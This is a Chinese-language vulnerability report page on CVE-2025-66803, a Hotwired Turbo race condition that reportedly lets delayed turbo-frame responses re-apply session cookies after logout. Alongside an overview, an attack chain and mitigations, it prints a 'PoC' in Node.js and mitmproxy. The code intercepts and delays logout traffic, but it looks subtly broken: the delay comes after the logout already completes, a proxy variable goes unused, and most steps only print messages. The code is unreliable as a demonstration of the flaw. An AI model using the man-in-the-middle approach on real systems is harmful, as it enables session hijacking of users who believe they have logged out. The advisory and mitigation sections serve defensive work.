IPBUF安全漏洞报告
English
CVE-2025-66803 CVSS 4.8 中危

CVE-2025-66803 Hotwired Turbo竞态条件导致会话Cookie重新应用漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-66803
漏洞类型
竞态条件
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hotwired Turbo

相关标签

竞态条件Hotwired Turbo会话劫持Web框架Cookie重新应用中间人攻击turbo-frame登出绕过

漏洞概述

CVE-2025-66803是Hotwired Turbo框架中的一个中等严重性安全漏洞,CVSS评分4.8。该漏洞存在于turbo-frame元素处理器中,是一种竞态条件(Race Condition)问题。在用户执行登出操作时,由于延迟的frame响应会在登出后重新应用会话Cookie,导致登出操作失败。这意味着攻击者可以通过精心设计的时间延迟攻击,强制使用户的会话保持活跃状态,从而绕过登出保护机制。

此漏洞影响Hotwired Turbo 8.0.x之前的所有版本。攻击者可以通过选择性网络延迟(如基于请求序列或时间的延迟)或在共享计算机场景下利用自然发生的竞态条件来实施攻击。漏洞的核心问题在于框架在处理多个并发请求时,没有正确处理会话状态与frame响应的时序关系,导致已失效的会话Cookie被重新激活。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N,表明攻击复杂度较高但无需认证和用户交互。机密性和完整性影响均为低级别,但由于攻击的持久性,可能导致敏感数据的持续暴露风险。对于使用Hotwired Turbo构建的Web应用,如果用户会话管理依赖于框架的默认行为,则可能受到此漏洞影响。

技术细节

Hotwired Turbo是一个用于加速现代Web应用的速度的框架,它通过使用turbo-frame和turbo-stream技术来优化页面导航和部分更新。在该框架的turbo-frame元素处理器中,存在一个竞态条件漏洞。

漏洞原理:当用户发起登出请求时,服务器端会清除用户的会话Cookie并使会话失效。然而,如果在登出请求完成之前,用户浏览器中存在的turbo-frame发起了一个异步请求,该请求可能携带旧的会话Cookie。当登出操作完成后,如果延迟的frame响应返回到浏览器,框架的错误处理逻辑会尝试重新应用这些Cookie,导致已失效的会话被重新激活。

攻击利用方式:
1. 攻击者需要能够控制或影响用户与目标Web应用之间的网络流量(例如通过中间人攻击或利用网络设备)
2. 监控用户的登出请求
3. 当检测到登出请求时,故意延迟响应,同时保持之前的frame请求处于挂起状态
4. 在登出完成后,让延迟的frame响应返回,触发Cookie重新应用
5. 由于会话Cookie被重新应用,用户的会话实际上并未真正终止

在共享计算机环境中,攻击者还可以物理接近目标用户,等待竞态条件自然发生,然后利用未正确终止的会话来访问用户账户。

攻击链分析

STEP 1
步骤1
攻击者通过中间人攻击或网络流量控制,监控目标用户与Hotwired Turbo应用之间的通信流量
STEP 2
步骤2
当检测到用户的登出请求时,攻击者拦截该请求并故意延迟响应时间
STEP 3
步骤3
在登出请求被延迟期间,攻击者确保用户浏览器中存在的turbo-frame异步请求保持挂起状态,该请求携带旧的会话Cookie
STEP 4
步骤4
登出操作在服务器端执行完成,用户会话被标记为失效,Cookie被清除
STEP 5
步骤5
攻击者释放延迟的登出响应,同时让挂起的turbo-frame响应返回给浏览器
STEP 6
步骤6
Hotwired Turbo框架的turbo-frame处理器接收到延迟响应后,错误地将旧会话Cookie重新应用到浏览器中
STEP 7
步骤7
用户的会话实际上并未真正终止,攻击者可以继续使用该会话访问用户账户,绕过登出保护机制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-66803 Proof of Concept // Race Condition in Hotwired Turbo logout bypass const http = require('http'); const https = require('https'); // Configuration const TARGET_URL = 'https://target-app.example.com'; const ATTACKER_PROXY = 'http://attacker-proxy:8080'; // Simulate delayed frame response attack async function exploitLogoutBypass(sessionCookie) { console.log('[+] Starting CVE-2025-66803 exploitation...'); // Step 1: Monitor logout request console.log('[+] Step 1: Monitoring for logout request...'); // Step 2: Intercept and delay the logout response console.log('[+] Step 2: Intercepting logout request...'); const logoutRequest = await sendRequest({ url: `${TARGET_URL}/logout`, method: 'POST', headers: { 'Cookie': sessionCookie, 'Turbo-Frame': 'logout-frame' } }); // Step 3: Keep old frame request pending console.log('[+] Step 3: Maintaining pending turbo-frame request...'); const pendingFrameRequest = sendRequest({ url: `${TARGET_URL}/api/user-profile`, headers: { 'Cookie': sessionCookie, 'Turbo-Frame': 'user-profile-frame' } }); // Step 4: Delay logout response console.log('[+] Step 4: Delaying logout response by 5 seconds...'); await delay(5000); // Step 5: Allow delayed frame response to reapply cookie console.log('[+] Step 5: Allowing pending frame response...'); await pendingFrameRequest; // Step 6: Verify session still active console.log('[+] Step 6: Verifying session reactivation...'); const verifyResponse = await sendRequest({ url: `${TARGET_URL}/api/user-profile`, headers: { 'Cookie': sessionCookie } }); if (verifyResponse.statusCode === 200) { console.log('[!] Exploitation successful - session still active after logout'); return true; } return false; } function delay(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } function sendRequest(options) { return new Promise((resolve, reject) => { const protocol = options.url.startsWith('https') ? https : http; const req = protocol.request(options, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => resolve({ statusCode: res.statusCode, body: data })); }); req.on('error', reject); req.end(); }); } // MITM Proxy implementation for real-world attack const mitmProxy = ` # Python mitmproxy script for CVE-2025-66803 from mitmproxy import http from mitmproxy.proxy import config import time def request(flow: http.HTTPFlow): # Monitor for logout requests if '/logout' in flow.request.path: # Store the session cookie flow.metadata['original_cookie'] = flow.request.headers.get('Cookie', '') # Mark this as a logout attempt flow.metadata['logout_attempt'] = True # Check for turbo-frame requests if flow.request.headers.get('Turbo-Frame'): flow.metadata['turbo_frame'] = True def response(flow: http.HTTPFlow): # If this is a logout response, delay it if flow.metadata.get('logout_attempt'): print('[+] Intercepting logout response for delay...') time.sleep(5) # Delay logout completion # If a turbo-frame response arrives after logout if flow.metadata.get('turbo_frame') and flow.metadata.get('logout_attempt'): print('[+] Turbo-frame response may reapply session cookies') `; console.log('\n[!] Run with: node cve-2025-66803-poc.js <session_cookie>'); console.log('[!] Or use the mitmproxy script for network-level attacks');

影响范围

Hotwired Turbo < 8.0.0

防御指南

临时缓解措施
如果无法立即升级到Hotwired Turbo 8.0.x,可以采取以下临时缓解措施:1) 在应用层实现自定义的会话管理逻辑,在每次请求时验证会话的有效性;2) 在登出操作后立即生成新的会话ID并使旧会话完全失效;3) 禁用turbo-frame的自动Cookie处理功能;4) 在共享计算机环境中,强制用户在登出后清除所有Cookie和站点数据;5) 考虑使用更严格的会话超时策略来减少攻击窗口期。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表